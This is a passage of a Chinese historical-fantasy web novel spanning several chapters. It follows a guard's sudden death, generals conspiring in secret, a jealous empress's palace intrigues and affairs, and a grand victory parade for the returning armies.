云琛听不懂叶峮在说什么,只是凭直觉感觉到叶峮像是遇到了什么跨不过的大事,已是崩溃到失去所有希望的程度。
当年他妻儿惨死时,他都未曾这样,现在这是怎么了?
“叶哥,刚才是你在叫吗?怎么了?你不要吓我!快告诉我怎么了?”云琛不停用袖子帮叶峮擦眼泪,可无论她怎么努力,始终都擦不干净。
即使擦干了,那眼眶里也依旧是无尽的落寞与潮湿。
“阿琛,还记得我们第一次见面吗?”
叶峮哑着嗓子,突然问了这么一个问题。
云琛快速点头,“记得,怎能不记得!”
叶峮罕见地伸出手,摸了摸云琛的脸。
自从知道云琛女儿身之后,叶峮就再也没有像从前做兄弟那样,有过任何可以称为“逾矩”的举动。
眼下,他第一次破了礼仪规矩,摸了摸云琛的脸,又摸向她的眼睛。
“阿琛,你总问我,当初竹林深院里,我为什么第一次见面,就敢把那么重要的霍帮令牌给你……我一直不说……现在我告诉你……”
云琛认真听着,叶峮随即悲哀一笑:
“因为你的眼睛太干净了,阿琛,你的眼睛写着你是什么样的人。”
云琛不知如何回答,一时也未懂透彻这些话,叶峮却突然敛下所有情绪,像平常那样温和笑笑:
“阿琛,有水吗?我渴了。”
“有!”云琛快速解下腰间水壶,递到叶峮嘴边,他却轻轻摇头:
“我想喝热的。阿琛,弄点热水来喝吧。”
“好!”云琛点下头,飞快地往荣易方向跑去。
整个行军途中,所有将士都随身携带水壶,只不过全是凉的,只有荣易为了追求惜惜,水壶一直有热水。
等云琛风风火火拽过荣易的水壶,折返跑回来时,只见叶峮仍旧靠坐在树旁。
他歪着肩膀,垂着头,看不见神情和脸色,只能瞧见他枯白的头发随风微微颤动。
许许多多的将士们从他身边走过。
所有人都是蓬勃又喜悦的,只有叶峮像一座破败的残像,坐在阴影里一动不动,看起来像睡着了。
这情景让云琛心里“咯噔”一下,没由来地恐惧发慌。
她飞冲过去,轻轻去推叶峮的肩膀,却得不到一点回应。
她只好跪下身子偏头去看——
叶峮半阖着眼睛,一动不动。
他的脸庞上,是一层**才有的灰霜。
“叶哥?”
云琛颤抖着叫出声,手中温热的水壶坠落在地。
她用力摇晃叶峮,却只能看见他的身子缓缓歪斜栽倒。
那穿透树叶的阳光照在他的脸上,清晰地照出那瞳孔扩散,再也没了光亮。
……
……
叶峮**。
没有死在无数次的刀光剑影和生死战场,就这么死在了大军会师回京、所有人将迎来太平功赏的前夕。
带着他再也不会实现的愿望和仇恨,永远地离开了。
军医被云琛逼着,被迫反复检查了叶峮的遗体七八遍,最终仍是同一个结论:
“叶护卫浑身上下没有任何伤口和**迹象,应是心弦崩断,暴毙而亡。云将军,世事无常,请您节哀……”
“心弦……崩断?暴毙而亡?”云琛不懂为什么会这样?好端端一个人!怎么就突然没了?
她紧紧抱住叶峮逐渐僵硬的身体,不停地摇头,眼泪就像断了
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线的珠子一样,滚滚落在叶峮的身上:
“为什么会这样?明明方才还与我好好说话呢,为什么眨眼就这样了??我只是去取了个水啊!!我只是去取了个水啊……”
看着荣易和罗东东,周遭人都面色不忍,不停抹眼泪的样子,云琛像是终于意识到了什么,不可置信地瞪着叶峮的遗体:
“所以……叶哥……是故意支开我的吗……”
已预感到自己寿命将尽,怕叫她看见死去的一幕,怕她一辈子忘不掉,所以故意支开她的么……
越想,心越阵阵绞痛,云琛悲痛欲绝,不停呼唤着叶峮的名字,终于埋头在他冷冰冰的胸口,放声大哭。
这心碎的哭声,令周围人全都站在原地垂首默哀。
不远处,霍乾念亦沉默地站在空地上。
他头顶的阳光热烈,却根本照不到他身上似的,整个人透着说不上来的晦暗和阴冷。
十三年岁月。
就算是石头也该捂热了。
伏霖轻轻叹息,扶住了霍乾念的肩膀。
段捷则在周围来回走动,看似踱步,实则防止有人突然走过来。
伏霖低声道:
“你别太难受,人生老病死都难免,猝然离世,也是常有的。”
霍乾念摇了摇头,没有作声。
伏霖又道:“我知道你的意思,以叶峮的性子,不可能轻易被击溃成这样,大约是从什么细小的地方,发现了我们三人……唉,若不是他妻儿惨死,我们早就对他和盘托出了,就是怕他接受不了,才不敢说……”
叹了口气,伏霖继续说:
“从走上这条路的那天起,你我就知道,会有许许多多的人被无妄牵连……一将功成万骨枯……这天下乱象是我们挑起的吗?祸首是我们吗?不过倾巢之下焉有完卵罢了……”
“对。”段捷微微偏头,神色一如既往地坚定,“你若难受,就将叶峮、叶峮的妻儿,还有那无数无辜性命,都算在我和伏霖头上!将来到了阎王殿,我和伏霖自会去十八层地狱受罚!”
“当年,是我们逼着你翻天!如今,又是这世道逼我们覆地!你不是没想过为南璃君做个忠直纯臣,可皇权不容你啊!那炎刑也不可能放过你!”
“世人都道,当年你我拔虎牙为霍夫人治病,冒犯了神虎而被赐死!谁知当年真相到底如何?!腐朽皇权捂**你我的嘴!意图杀之后快!是他们逼我们反的!”
“事到如今,我们已别无选择。难道你想叫云琛也同叶峮一样?”
“永远别忘了我们真正的目的。为了它,牺牲什么也不怕!”
“既然骗,就骗天下!骗云琛!骗到底!”
“绝不后悔!”
第433章 这京都(上)
那边,狮威虎威已大军会师,向京都而来。
这边的京都城,则是一副天子脚下水土宜人的慵懒气象。
初冬微凉时候,到处花草树木萎靡凋零,唯独御花园里百花盛放。
团团锦绣中,一座凉亭环嵌其中,宽大的黑红色血藤躺椅上,南璃君一身银线双绣杜鹃鸟儿的雪白襦裙。
她长发披散下来,仰躺在颜十九的腿上吹风纳凉,眼神一刻不离地望着颜十九俊逸风流的侧脸。
她几乎没听见他在说些什么,只是越看他,越心神荡漾,忍不住勾住他脖子,再次仰身去吻他。
颜十九顺从地迎合,亦再次顺势将她放倒回榻,语气宠溺地埋怨:
“阿璃,你有没有在听我讲话?”
南璃君气息微喘,慢慢平复呼吸,柔情缱绻地注视着颜十九,“我听见了呀,只是这般失而复得又见你,我总是想你。”
“傻瓜,如今我们不是日日在一起么。”颜十九笑笑,身子向后倒去,不着痕迹地拉开了与南璃君的距离。
可女人总是敏感的,无论颜十九掩藏得多么好,南璃君还是能敏锐地感觉到他的疏离和抗拒。
当霍乾念从洛疆传来信函,说颜十九还活着,被虎威军和云琛所救的时候,南璃君欢喜得简直要发狂。
她从一片狼藉的龙榻上翻身爬起来,不顾身上只有一件薄纱,透明得近乎赤裸,从三四个同样赤身的英俊乐师身上跨过去。
她一脚踢翻榻头的瓶瓶罐罐与大小物具,踉跄地奔到传信的女官庄姬面前,从嗓子眼里挤出尖锐刺耳的声音:
“你是说颜十九没死?还活着??”
在得到庄姬肯定的答复后,南璃君喜极而泣,接着浑身一麻,再去看龙榻上一脸情欲靡靡的几个乐师,连月来的新鲜和刺激荡然无存。
她大吼着让所有人都滚,命令宫人连夜备下最豪华的皇家马车,给她日夜不停地赶往虎威军营地,将颜十九小心伺候接回来。
面对女皇突然的性情大变,乐师们惶恐地胡乱穿起衣衫,纷纷退下。
南璃君则又哭又笑,站在原地愣了好一会儿,然后急声命令宫人们开始打扫她的寝宫“凤驭天殿”,将所有与其他男人有关的那些寻欢作乐的玩意儿,通通打扫干净,全部销毁。
即使这样,她还是不放心,亲自在殿里殿外检查了十几遍,确保到处妥帖无马脚,然后才放下心,焦急地开始等待颜十九。
她无心朝政,日夜寝食难安,终于等到那马车风尘仆仆归来。
当心爱的男人弯身走出马车,对着她勾唇一笑,那样完好如初、一如往昔风流倜傥地出现在眼前时,南璃君浑身震颤,根本控制不住眼泪,朝颜十九飞奔而去。
岂料颜十九竟众目睽睽之下往侧边躲了一步,叫她一把扑空。
对上她惊愣的眼神,颜十九歉意笑笑,后退一步,行了个标准的**礼,恭敬道:
“皇上,微臣一路奔波,身有浮尘,别脏了您的龙体。”
这话规矩又得体,叫南璃君挑不出错,只当许久未见,他有些不好意思,不想在这么多宫人面前与她亲昵。
她便立刻屏退所有宫人,再次去抱颜十九。
这一次,他没有拒绝。
在之后的一连半个月,他都体贴地陪伴在她左右,似乎一切都回到了从前那样。
一样的情话绵绵,一样的耳鬓厮磨。
可南璃君还是渐渐生出些疑心。
她发现,每一次的拥抱与亲吻,都是她主动的。
颜十九次次迎合,却一次都没有主动过。
而且每当吻到情浓,她要去剥他的衣衫时,他都立马以各种理由推托,譬如“今日太累”“昨夜没睡好”“心情不佳”,想着法子婉拒她的求欢。
一次两次罢了,次数多了,羞恼和质疑积累爆发,她含着眼泪质问他是不是变心了,颜十九却只是怅然一叹:
“阿璃,不是我不想,而是真的没心思。霍乾念和云琛就要带着狮威虎威大军回来了,加之朝中有云望在,这三足势力交织鼎立的局面,就要对你的皇位大大不利,我日夜为你忧心这事,又怕说出来被人疑心干政,怎有心思做那些?”
一听这话,南璃君什么气都没了,立马蹲下身子去抱颜十九的腿,“原来是这原因?我还以为你不爱我了!”
她将下巴搁在颜十九腿上,抬起眼睛歉疚地看向他,语气彻底软下来:
“我知道呢,他们带着几十万大军和天大的功绩回来,全天下的眼睛都盯着,叫我只能褒奖他们,不能贬斥。可若叫他们二人强强联合,岂不随时掣肘威胁我的皇位?我思来想去,想着如今他们战功赫赫,深得四海民心,不如就先叫他们风光一阵,等风头过了再想法子。”
颜十九点点头,心想:
不错嘛!王庭一场受辱过后,南璃君好像有点当王的样子了,思虑得很周全,但很可惜,并不是我如今想要的。
颜十九一脸担忧地摇头:“只怕‘风光一阵’过后,他们在京中越发树大根深
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,日后更难以撼动呀!”
南璃君略一思索,觉得此话有理,“那你可有主意?说来听听,只告诉我一个人而已,又不是上朝,谈什么‘干政’的生分话。”
颜十九装作很为难的样子,推辞一番,才说出盘算:
“这几日,我纵观古史,历朝历代从来不缺功高盖主的权臣。但鲜有权臣能善终,除去那些野心过大、谋逆找死的,大多数都是被奸臣构陷,在帝王面前谗言陷害,落得个下场凄惨。可帝王们真的不知道吗?
我私以为,都是知道的。只是功臣轻易骂不得、贬不得、杀不得,那些‘谗言陷害’正好给了帝王们动手的理由,他们装作一时糊涂被奸臣蒙蔽,等功臣都处置得差不多了,再站出来杀奸臣以平息各方愤怒。
如此一来,既除掉了对皇位的威胁,又全了自己明君名声,不可谓不高明。此番霍乾念与云琛功盛回归,不如就用此计,第一步便是怂恿助推其嚣张权势,才能让他爬得越高,跌得越重。”
南璃君琢磨片刻,明白了颜十九的意思,眼中有精光亮起,兴奋道:
“妙哉妙哉!那我就寻个‘奸臣’出来,叫他动手对付霍乾念和云琛,事后我再杀了‘奸臣’,便是两全其美!”
“不错。”颜十九道:“只是武将拥戴霍乾念和云琛,文臣多以云望马首是瞻,我们需要一个不在文武百官之列、却在你身边有分量、且事后除去不麻烦的人选,这样做戏才够真。”
颜十九沉吟思索,在脑海里考虑起合适的人选。
知罗早已不太好用了,诡秘心思太多,稍微不注意便容易生事端,且她的用处,过不了多久,自有绝妙之地;
其他女官中,庄姬最为聪慧得力,但背靠庄国公,家族势力太大,事后难除。那么选谁呢……
颜十九微微皱眉,想得认真,南璃君却并不与他一同想,而是心猿意马,光顾看他,笑道:
“要不,你也做臣吧,想要什么官位,我都给你。你认真起来的样子真好看。”
说罢,南璃君再次上来索吻。
颜十九思虑被打断,心里莫名厌烦,强忍着没发作,只是倏地起身错开,叫南璃君狼狈地扑空在血藤躺椅上。
对上南璃君错愕的神情,颜十九长身而立,只从眼睛下方睨了眼南璃君的袖口,那露出的胳膊上全是纵横交错的疤痕。
他没有说话,快速移开了眼神,但那眼中一闪而过的嫌弃,还是被南璃君捕捉到,令她面色瞬间僵白。
第434章 这京都(中)
那嫌弃的情绪,从颜十九眼中一闪而过。
他心里想的是:“到底是个教不会的蠢货,从王庭受辱一遭回来,也只比从前强了一点点而已,在这京都,在这天下权谋广海中,连个屁都算不上”。
而南璃君清清楚楚地捕捉到那“嫌弃”,想的却只有她的身体。
她脸色一白,嘴唇也没了血色,慢慢从血藤躺椅上爬起来,强颜欢笑却不敢再看颜十九的眼神,自顾替他解释:
“你瞧我,又忘了,你这两日着了风寒,身上冷痛呢。你坐吧,再乘会儿凉,我去更衣再来。”
说罢,南璃君匆匆离开,径直进入偏殿浴房,大吼“沐浴!快!”令宫人们急急搬出所有除疤痕的药粉,一股脑地倒进浴池,将水色腻得一片浑浊。
她急不可耐地脱光衣服,泡进池子里。
侍浴的宫人赶忙卷起袖子,拿细绸上来为她轻拭身体。
南璃君却被那轻柔的动作搅得烦躁,骂了声“滚!”一把抢过宫人手里的细绸,开始拼命搓洗身体。
她搓洗得又急又狠,激得水花“啪啪”作响。
即使用的是最昂贵绵软的细绸,她还是很快将身体各处摧残得一片红肿。
这情景吓得宫人们茫然无措,通通跪在地上噤声发抖。
等终于发泄够了,南璃君慢慢停下动作,蜷起身子抱成一团,将脸深深埋进膝盖。
片刻后,她赤身站起,推开想要为她披浴袍的宫人,站到了一人高的大铜镜前。
镜中,还是那张国色倾城、完美到无可挑剔的脸庞,白皙无暇的天鹅颈之下,从锁骨开始,却浑身遍布大大小小的狗咬齿痕。
因为伤得太深、时间又太久,比起干净利落的利器伤,动物咬伤呈撕裂状,疤痕更重,更难消,所以即使天天用着宫中除疤的药粉和那秦艽玉颜脂,也只能叫疤痕稍微淡化,而不能消失。
看着镜中人满身密密麻麻的齿洞疤痕,南璃君怔怔地站了许久。
真恶心呐……
她自己都时常不忍去看,对着绝对殷勤侍候她的乐师们,她都不敢脱去最后一件纱衣,又怎敢对颜十九敞开呢?
是要嫌弃的,该嫌弃的,人之常情,不怪他……
况且颜十九说了,只是太累,着风寒后身上酸痛。
他爱她的,不是吗?早晚能接受的,对吧?
她心里想着这些,无声地红了眼眶,沉默地重新穿戴齐整,调整好一个甚至有些讨好的笑容,往凉亭走去。
从不远处望去,她看见颜十九仰躺在血藤躺椅上看书。
阳光明耀洒下,笼着丰神俊朗的他。
他抬书遮眼,挡去刺目的阳光,旁边的小宫女极有眼色,立刻款步来前,解下凉亭四周的遮阳纱幔。
在小宫女解纱幔的时候,颜十九将书放在胸口,手臂垫在脑后,饶有兴趣地瞧着小宫女的动作。
看着小宫女抬胳膊时,宽大宫袖堆叠垂落,露出两节嫩藕似的雪白,他笑了一下,随口赞句“倒是个白嫩的美人儿”,便继续看书,全然不见南璃君就站在不远的地方,正用无比嫉妒的眼神盯着那小宫女。
到了夜里,等颜十九离开,整座皇宫陷入死寂的时候,南璃君唤来那小宫女:
“给朕脱靴。”
小宫女恭谨地跪下,双手抱住南璃君的脚,任由厚重的靴底抵在自己柔软的胸脯上,动作轻柔利索地脱去南璃君的靴和袜,将那双足捧放进温热的浴盆里,然后卷起袖子,露出藕白的胳膊,开始为南璃君揉脚。
“呵。”南璃君发出一声冷笑。
小宫女悄悄抬眼,这才发现南璃君表情阴沉,目光厉色,正冷冷盯着自己。
小宫女不明白为什么,但还是吓得一抖,手中动作停滞了一下,南璃君随之一脚踹翻那浴盆,泼了小宫女满头满脸的洗脚水。
“滚!”南璃君骂道,瞧那小宫女被吓得战战兢兢,姿色之上更添柔弱,她更来火,直接打翻手边能看到的一切东西,叮呤咣啷砸了个痛快,甩袖怒道:
“滚!都滚!把他叫来!!”
小宫女抱着空浴盆,连滚带爬地退下去。其他宫人也赶紧一并退出寝殿,手脚飞快地掩上殿门。
一直到离开凤驭天殿百丈远,宫人们才敢长吁一口气,放松下来,唉声叹气地捶揉酸痛的膝盖和腰。
看着小宫女头发和前襟湿嗒嗒,抱着浴盆小声啜泣的模样,宫人们纷纷围上来安慰:
“别难过了,一会儿先去把衣裳换了,初秋夜里凉,可别着风寒了。叫人的差事我替你去。”
“是呀,左不过天天如此,咱们也都习惯了。十有**是为你昨天给颜公子放遮阳帘的事。你记得以后离颜公子远远的,就是天大的事也别往他面前凑。”
“不是吼就是骂,再有就是砸呀砸,脾气虽坏,但与先皇一样,从不曾随意用刑打我们,咱就知足吧,总好过在‘那个谁’身边伺候,日日受折磨不说,保不齐哪天就没命了,被喂给百兽园里的豺狼虎豹。你瞧瞧这两年失踪了多少宫女太监。唉,这种小事,皇上也不管的……”
“哎呦快别说了,光是听到‘那个谁’三个字,我都后脖子发凉。”
宫人们小声交谈,这时,一道阴森的声音从旁**来,怪笑发问:
“‘哪个’谁呀?”
一听这声音,宫人们全部脸色大变,纷纷惶恐跪地,远比对着南璃君时恐惧多了,头都不敢抬地颤巍巍行礼:
“见过知罗大人。”
望着跪了一地的黑压压的人头,知罗拂了拂华丽的女官裙,慢慢收敛笑意,逐渐变得面无表情。
“说来听听,‘那个谁’是指谁呀,我好奇得很。”
宫人们将头伏得更低,无人敢说话。
这时,知罗注意到那个头发和衣服湿了的小宫女,慢慢走了过去,蹲下身子,勾起那小宫女的下巴,垂眸打量片刻,诡异地笑了一下。
随后,在跪伏一地的宫人们惊恐担忧的目光中,小宫女被知罗半拉半拽着,往百兽园方向而去。
宫人们不敢阻拦,只能小声着急起来:
“快去叫他!正好皇上要见他!求他也许有用!”
……
……
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>一刻钟后。
听完宫人们凌乱惊慌的讲述,不言提前结束轮休,快速回到侍卫所,进入单间,脱下常服,开始穿戴他御前侍卫总管的服制。
他路过侍卫们合住的大房时,原本三两聚在一起说笑的侍卫们,全都停止了交谈,不约而同露出鄙夷的神色。
隔着单间的门,不言听见一个侍卫阴阳怪气:
“费那劲穿什么呀,反正马上就要脱了。”
旁边一人语气同样:“唉,早知道这样就能做侍卫总管,我们何苦几十年如一日地习武、读书、逐级晋升呢?也不必费那好家世了!”
“此言差矣,御前侍卫承担守卫天子的重责,选拔严苛,竞争激烈,哪个不是出身功勋之后?咱们这样清贵人家出来的,怎比那无名苟辈,能想到爬床的捷径,你能吗?”
“我不能!”
“我也不能!”
“哈哈哈哈——”
“你们胆子真大,竟敢说这些!不怕人家去吹枕头风嘛?”
“用什么吹?半拉舌头吹?”
“云琛快回来了,人家马上就有大将军撑腰了,你们怎么敢的!”
“切,忘恩负义的弃主叛徒,云琛不可能跟这种人交好。当年桃花峪游船落水之事,若不是云琛,只怕你我今日都难站在这里说话。云琛那样的品性,怎可能与这种货色为伍。”
讥讽和侮辱性的议论声,源源不断地传进不言耳朵。
他只和从前一样,全当没听见,连眼睛都没抬一下,表情也没什么异常。
和其他侍卫们历经千辛万苦才能选拔成为一名普通侍卫不同,不言离开霍帮,一来,直接空降为御前侍卫总管,抢占了原来那侍卫总管的位置不说,还是个只剩半截舌头的哑巴。
侍卫们不服气,也大为不解,但后来发现,南璃君并不派太多事务给不言,整个御前侍卫队实际上仍由副总管——他们最认可的兄弟说了算。
不言唯一的作用,就是经常在夜里被南璃君召去,后半夜才回来。
原来是个暖床的奴才,众侍卫如是想。
可不言到底顶着御前侍卫总管的名头,拿着俸禄,住着总管单间,走到哪里,宫女太监们都要尊他一声“不大人”。
这令日日辛苦的侍卫们心里极度不平衡,又觉连累了护卫队的名声,再瞧不言从来被南璃君叫去,都是未留宿就回来,隐约猜到南璃君对他也不是那么上心和重视,只当个解闷的玩具罢了。
于是,嘲讽声渐渐越来越大。
见不言说不了话回应,也一副不想回应的样子,众人索性不再掩饰,便成了如今这样。
作为宫里这般奇特的存在,没有功绩,没有背景,没有熟人,无法与人说话交流,不言从来都是独来独往。
一个人自那冷冷清清的单间里起床,练武,吃饭,偶尔轮值,常常帮路过的宫人们搬重杂物,回应完南璃君的召唤,然后回房睡觉。
那单间的门一关,便是死沼般的寂静,仿佛关着一头经年沉默的野兽,让人忘了那也曾咆哮过的勇猛,千百次挥动过的利爪。
第435章 这京都(下)
不言快速换好侍卫服制,来到凤驭天殿。
他与殿内外的宫人们都很熟,加之御前侍卫总管的职位在身,他不论哪里都来去自如,无人阻拦或查验。
他推开半掩的殿门,随即看见地上一片狼藉,到处都是南璃君发脾气砸坏的东西。
满地碎瓷碎玉中,南璃君坐在龙椅上瞪着他:
“怎么来得这么慢?!”
不言没有说话,也说不了话。
他沉默地上前,用靴尖拨开几个较大的碎瓷片,靴底踩过嘎吱作响的瓷渣滓,上前将南璃君打横抱起,走向龙榻,轻轻放下。
感受着不言结实有力的胸膛和臂膀,闻着他身上熟悉的气息,南璃君内心的烦躁平息许多,但脸色还是难看。
对她来说,不言从自断舌头那天起,就再没有了任何价值。
她精心策反,令不言甘愿离开霍乾念,来到她身边,不过是为了从不言口中探寻霍乾念的诸多秘密,意图让不言凭与云琛的交情,今后多多掌握霍乾念的动向。
谁曾想,不言竟用断舌来表明他的态度:绝对不会出卖霍帮。
如此一来,不言就只剩那一个作用了。
好在他那方面异于常人持久,又因爱她而极尽温柔,面对她丑陋的皮肤,他从无一星半点嫌弃态度。
他吻过她身上每一处伤疤,她也只敢在他面前赤诚袒露。
南璃君不知道自己对不言到底是什么感情。
说解闷?差了点。
说爱,又远远不够。
颜十九是她毫无疑问的入骨挚爱,就像丰盛的珍馐美味。
不言嘛……
更像清淡却又不可或缺的白水。
所以哪怕颜十九死而复生回来,南璃君遣散所有乐师、男宠,唯独没有遣走不言。
她自己也不知道为什么。
她索性不去想这个问题,反正她是皇帝,反正不言那样死心塌地爱她,没必要想那么多。
她是女皇,当然可以理直气壮地在拥有颜十九之后,再偷偷藏一个不言。
她抬起雪白的脚背,从不言脚踝开始,透过裤子贴紧他皮肤,一点点向上摩挲,一直到勾住他的腰带。
一般到这个时候,不言就会自觉宽衣解带了。
可今天他却没有。
他握住南璃君伸来的脚,轻轻推开,朝她比画了两个手势。
南璃君不禁皱眉:“你是说,让我救一下那个小宫女?我又没有罚她,救什么救?怎么连你也推开我,连你也看上那小宫女?!”
南璃君越说声音越大,刚刚压下去的火头又冒了出来。
不言无奈地摇头,在自己发髻周围比了个冠帽的手势,南璃君这才眉目舒展:
“你是说知罗?她带走了那小宫女?估计是替我施行惩戒吧,这点小事也要我这做皇帝的管嘛?”
看出不言神色的坚决,南璃君气得捶了下床,皱眉瞪了不言一会儿,最终妥协,气哼哼唤来宫人:
“去告诉知罗,不必多事,放那小宫女回来吧!”
宫人面色一喜,连连磕头谢恩,感激地看了不言一眼,立刻快步退离。
寝殿的门重新闭合,南璃君瞥了眼还一身笔挺侍卫服、牢牢杵在原地的不言,没好气道:
“满意了吧?还站在那里干嘛?等朕请你上榻吗?!”
不言没有动,比画了个数字。
说来也是奇怪,不言如今不能说话,交流全靠手势。
满宫上下谁都看不懂他在瞎比画啥,就南璃君能看懂。
她看明白,不言是在问她:颜十九没死,已经回来了,你确定还要我?
她想起颜十九那个一闪而过的嫌弃眼神,心里愈发没底慌乱,好像急需什么来将它填满。
她恼怒地说了句“不用你管!瞒着他就是!”然后上前扯住不言腰带,不由分说地将人拉上榻。
……
……
半晌宣淫过后,南璃君两颊泛起媚红,美人面上微有薄汗,神情餍足地躺在榻上,唇边勾起浅浅笑窝,瞧着不言一件一件穿他那侍卫总管服。
“你为什么一直不肯留宿?我这凤驭天殿比你那总管单间差吗?”
不言摇头。
“你想说是怕颜十九知道?可他才刚回来,我也不可能叫他知道。”
不言依旧摇头,整理好最后的腰带部分,微微欠身行礼,准备离去。
“嘁!”南璃君撇撇嘴,自顾翻身裹上锦被,舒坦地叹了口气,准备小睡一会儿。
而不言出了寝殿,则照旧往侍卫所走,迎面碰上那小宫女欢快地跑回来。
虽然她脸颊和脖子上有被掐过的青紫痕迹,胳膊腿上都有动物抓咬的伤痕,但什么都比不过劫后余生的兴奋。
在即将被送进豹口的前一刻,其他宫人们带来了南璃君的口谕。
小宫女连滚带爬地从百兽园逃出来,无暇顾及知罗那阴森的眼神,惊魂将定之后,只想跑回来谢她的救命恩人。
她一口气冲到不言面前,露出个有点傻的笑容:
“不言大人,谢谢您。”
不言点点头,算是接受了这答谢,正要继续往前再走,那小宫女却扯住他袖子:
“大人,以后若有能用到我的地方,请您一定开口,我要报答您的!”
不言笑笑,似乎被这句不自量力却真诚的话语逗到了,小宫女惊讶:
“不言大人,进宫这么久,还是第一次见您笑呢!”
不言无法回应这句话,告诉小宫女,人不开心,自然就不会笑了。
他注意到小宫女扯着自己袖子的胳膊,上面各种痕迹还在渗血,便掏出帕子和药粉,帮小宫女涂药包扎。
收起药粉瓶子的时候,小宫女留意到瓶身上的“霍”字印记,想起宫里关于不言什么“霍帮叛徒”“爬龙榻”的种种传言。
小宫女替不言难受,她觉得不言不是旁人嘴里说的那样不堪,应当是顶好顶好的人。
再次向不言行礼感谢后,小宫女才慢慢离开。
待宫女的身影消失在宫墙拐角,一道瘦削如竹竿的身影,随之无声无息地出现在宫墙旁繁盛的槐树上。
若不是不言做暗卫多年,只怕都发现不了那身影。
“她身边全是作践她真心、饮她血的鬼魅,唯有你是真心待她。”那声音这样说。
不言驻足,抬头看向槐树——
枭泽。
这个几乎被所有人遗忘了的人,正一身暗卫服制,静静立在繁盛的枝头。
茂密的枝叶遮挡了他的面容,只微微露出梳得一丝不苟的银白鬓角。
不言没和枭泽打过什么交道,但知道这是云琛的师叔,是先皇南高羽身边贴身守卫了几十年的老侍卫。
但不知为何,先皇龙驭宾天之后,本该告老还乡的枭泽,却一直如游魂般徘徊宫中,不肯离去。
没人知道他住在哪儿,吃什么,喝什么,天天在忙活些什么。
作为御前侍卫总管,不言虽不得南璃君重用,但也自觉承担总管巡防之责。
他屡次想抓住并驱逐枭泽,奈何后者在这宫里待了几十年,比对自己家还熟悉,神出鬼没的,屡次叫不言扑空。
瞧枭泽除了总出现在南璃君不近不远的地方,并没有其他什么异动,将此事禀报南璃君后,她也只说“随他去,估计人老了都这样,恋旧的很”,不言只好放任枭泽如此。
而枭泽方才那两句话,也终于令不言猜到几分他留在南璃君身边的原因。
果然,只听枭泽又道:
“不言,我们做暗卫的,比一般护卫还多一条规矩,你应该记得。”
不言点头,心说:
暗卫隐于主,护主静默,死亦无声。
“所以我不能告诉你们,我为什么留在宫中,就像你不能说,你为什么离开霍帮,来守卫她。”顿了顿,枭泽语气坚毅,却有两分黯然:
“我一直在她身边看着一切……我知道,她就要守不住她的皇座,就快要跌落了。所以,不言,我和你一样,我们已无力改变这局面,唯一能做的,只有守在她身边,护卫到最后一刻,尽全力保下她性命。为此,死也无妨。这是你的心愿,也是先皇留给我的遗命。”
这番话说完,二人沉默许久,互相对望,都在彼此眼中看到悲哀、无奈,还有决绝。
这天下最后会由谁说了算,还将有什么妖魔鬼怪在路上,他们不知道。
他们只知道,无论最后谁主天地,南璃君的性命,大概都不能长久。
“咣——”
一声洪钟巨响,打断了枭泽与不言的沉思。
紧接着,巨大的欢呼声和鼓乐声如浪海涛天般响彻京城,清晰地传进宫。
“是迎狮威虎威大军回京的盛礼吧?大军进城了。”枭泽说。
不言循声望去,想起云琛,不禁心头一紧:
阿琛,阿琛。
希望这肮脏、污浊、丑陋如群蛇交缠的京都地狱,吞噬谁都好,千万别吞噬你……
第436章 凯旋大典
楠国三十三年,初冬未雪。
狮威军平定北境、与洛疆定下和平协定后回京;
虎威军收复楠国东部、东南等地区,清扫得黑鳞骑兵不见踪影,构筑起绵延千万里的边境线,得胜还朝。
这场持续了近四年的国战至此终于结束。
也意味着连年战乱的苦难与惶惶终日,终于能画上句点。
百姓们就如那久旱逢甘霖,盼着狮威虎威大军,盼着两位英雄手捧和平归来。
为此,从烟城到京都,所有大城和重镇,全部自发组织了迎大军回京的盛礼,百姓们无不夹道欢迎。
京都更是史无前例地操办了全城出动的凯旋大典:
从京都城门口到礼坛,直接修建一条宽阔可策马的凯旋大道,铺满十里金红毯。
全城张灯结彩,花果堆积,布置冬菊鲜花三十万株,特批用来抛洒的金银箔纸四百万张。
满城人山人海喜气洋洋,九龙官旗与无数彩带高高飘扬。
不止如此,京都作为达官显贵聚居之地,除了百姓们争相庆贺,贵族们也不甘示弱,纷纷启开府门,请了歌舞乐班表演,舞龙舞狮镇场,竞赛似的热闹起来。
为记录这一空前盛典,宫中特命史官于京都城中最高的摘星楼上观礼,将盛况详细记录于史册。
只见八位史官面朝不同方向站立,紧张地盯着负责方位,生怕漏掉什么值得记录的情景。
他们一边笔走如飞,一边被热烈的盛景感染,忍不住激情解说道:
“狮威虎威军入城了!金银箔纸飞扬中,烟花炮竹声响里,将士们胜仗归来,身披闪闪发光的铠甲,气势雄浑!震撼四野!引得百姓们纷纷欢呼呐喊,都在朝他们大赞‘英雄!’‘了不起!’‘好样的!’”
“男女老少争相挤上街头,每个人的脸上都洋溢着笑容!风吹官旗与彩带簌簌作响,像连风也在为将士们鼓掌!”
“下面请看,率先向我们走来的是两位将军——霍将军与云将军策马跨立战车之上,正在朝我们挥手致意。天地英雄气,千秋尚凛然!二位将军战恶敌,守国门!是当之无愧的在世英神!更宛如天造地设的神仙眷侣,真是羡煞旁人!”
“在两位将军身后,是狮威虎威的一干国将!段捷、伏霖、荣易、罗东东等将军……威严肃立,气势磅礴,彰显大国悍将之风!”
“接着向我们走来的,是虎威骑兵代表团、狮威步兵代表团、虎威大刀营、狮威战车营……瞧将士们个个意气风发,不愧为我朝勇猛卫国之师!百姓们捧着糕点、瓜果与美酒,争相上前敬送英雄将士们!”
“这是多么美好和谐的军民情啊!狮威虎威的将士们,真是上战场能杀敌,下战场而亲民。”
“说到亲民……额,荣将军好像兴奋过头,真……亲了‘民’好几口,而且还都是漂亮的大姑娘?那个,云将军好像用靴子狠狠‘亲’了荣将军屁股好几下……这些不能写吧?快划掉划掉!”
在史官们奋笔疾书、全城热烈狂欢之中,围观百姓越来越多,挤得水泄不通,都挤到凯旋大道上去了,让狮威虎威大军的将士们每前进一步都很困难。
等霍乾念和云琛领着代表团的将士,好不容易来到礼坛下,已比预定时间足足晚了两个多时辰,百姓们的欢呼声、满城的舞乐声,根本没停过。
这叫代表皇帝前来迎接大军的丞相云望与百官,以及负责仪仗的禁军们,都只能站在原地干瞪眼,说个啥也听不见,宣个圣旨都费劲。
云望尝试了好几次,就算用吼的,也压根听不到,每一个字都淹没在巨大的欢呼声中。
最后云望无奈了,与霍乾念、云琛,大眼瞪小眼地互看了一会儿,想着三人的关系早已天下皆知,没什么可瞒,便对霍乾念比画了个手势。
